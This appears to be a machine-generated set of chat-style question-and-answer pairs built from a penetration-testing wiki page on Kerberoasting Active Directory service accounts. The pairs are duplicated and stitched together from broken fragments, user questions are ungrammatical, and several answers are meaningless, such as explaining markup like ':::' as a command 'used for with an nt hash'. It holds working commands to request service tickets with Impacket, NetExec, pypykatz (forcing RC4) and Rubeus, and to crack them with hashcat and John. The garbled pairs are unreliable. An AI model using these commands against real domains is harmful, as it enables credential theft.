::: tabs

=== UNIX-like

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN (or name) and valid domain credentials.

> [!TIP]
> The Kerberoasting attack can be conducted without knowing any SPN of the target account, since a service ticket can be request for as long as the service's SAN (sAMAccountName) is known. (swarm.ptsecurity.com)
>
> Nota bene, Kerberos can deliver service tickets even if the service has no SPN at all, but then the service's SAN must end with $, and in this case it's hard to know for sure if the service's password is defined by a human. Kerberoast attacks usually target user accounts with at least one SPN (servicePrincipalName) since they probably have human-defined passwords (sources: Twitter and [\[MS-KILE\] section 3.3.5.1.1](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/a7ad31b0-37a4-4344-b9a7-01d4d086097e)).

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of with a password

[Assistant] GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute with a password?

[Assistant] GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does with an NT hash work?

[Assistant]
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
`

Using pypykatz (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack $krb5tgs$23 takes less time than for krb5tgs$18.

`bash
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 'kerberos+password://DOMAIN\username:Password@IP'
`

=== Windows

Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt
`

:::

Hashcat and JohnTheRipper can then be used to try cracking the hash.

`bash
hashcat -m 13100 kerberoastables.txt $wordlist
`

`bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
`

Using pypykatz (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack $krb5tgs$23 takes less time than for krb5tgs$18.

`bash
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 'kerberos+password://DOMAIN\username:Password@IP'
`

=== Windows

Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt
`

:::

Hashcat and JohnTheRipper can then be used to try cracking the hash.

`bash
hashcat -m 13100 kerberoastables.txt $wordlist
`

`bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for with an NT hash?

[Assistant]
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
`

Using pypykatz (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack $krb5tgs$23 takes less time than for krb5tgs$18.

`bash
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 'kerberos+password://DOMAIN\username:Password@IP'
`

=== Windows

Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt
`

:::

Hashcat and JohnTheRipper can then be used to try cracking the hash.

`bash
hashcat -m 13100 kerberoastables.txt $wordlist
`

`bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
`

Using pypykatz (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack $krb5tgs$23 takes less time than for krb5tgs$18.

`bash
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 'kerberos+password://DOMAIN\username:Password@IP'
`

=== Windows

Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt
`

:::

Hashcat and JohnTheRipper can then be used to try cracking the hash.

`bash
hashcat -m 13100 kerberoastables.txt $wordlist
`

`bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Using for with an nt hash?

[Assistant] Using [pypykatz](https://github.com/skelsec/pypykatz/wiki/Kerberos-spnroast-command) (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack `$krb5tgs$23` takes less time than for `krb5tgs$18`.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: Using [pypykatz](https://github.com/skelsec/pypykatz/wiki/Kerberos-spnroast-command) (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack `$krb5tgs$23` takes less time than for `krb5tgs$18`.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do with an NT hash

[Assistant] Using [pypykatz](https://github.com/skelsec/pypykatz/wiki/Kerberos-spnroast-command) (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack `$krb5tgs$23` takes less time than for `krb5tgs$18`.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Using [pypykatz](https://github.com/skelsec/pypykatz/wiki/Kerberos-spnroast-command) (Python) it is possible to request an RC4 encrypted ST even when AES encryption is enabled (and if RC4 is still accepted of course). The tool features an -e flag which specifies what encryption type should be requested (default to 23, i.e. RC4). Trying to crack `$krb5tgs$23` takes less time than for `krb5tgs$18`.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for with an NT hash?

[Assistant]
=== Windows

[Rubeus](https://github.com/GhostPack/Rubeus) (C#) can be used for that purpose.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

[Rubeus](https://github.com/GhostPack/Rubeus) (C#) can be used for that purpose.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for with an nt hash. with an NT hash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for with an nt hash. with an NT hash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for with an NT hash?

[Assistant]
:::

[Hashcat](https://github.com/hashcat/hashcat) and [JohnTheRipper](https://github.com/magnumripper/JohnTheRipper) can then be used to try [cracking the hash](../credentials/cracking.md).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
:::

[Hashcat](https://github.com/hashcat/hashcat) and [JohnTheRipper](https://github.com/magnumripper/JohnTheRipper) can then be used to try [cracking the hash](../credentials/cracking.md).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `:::`?

[Assistant] This command is used for with an nt hash. with an NT hash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for with an nt hash. with an NT hash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do with an NT hash

[Assistant]
```bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
```bash
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: ````bash`?

[Assistant] This command is used for with an nt hash. with an NT hash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for with an nt hash. with an NT hash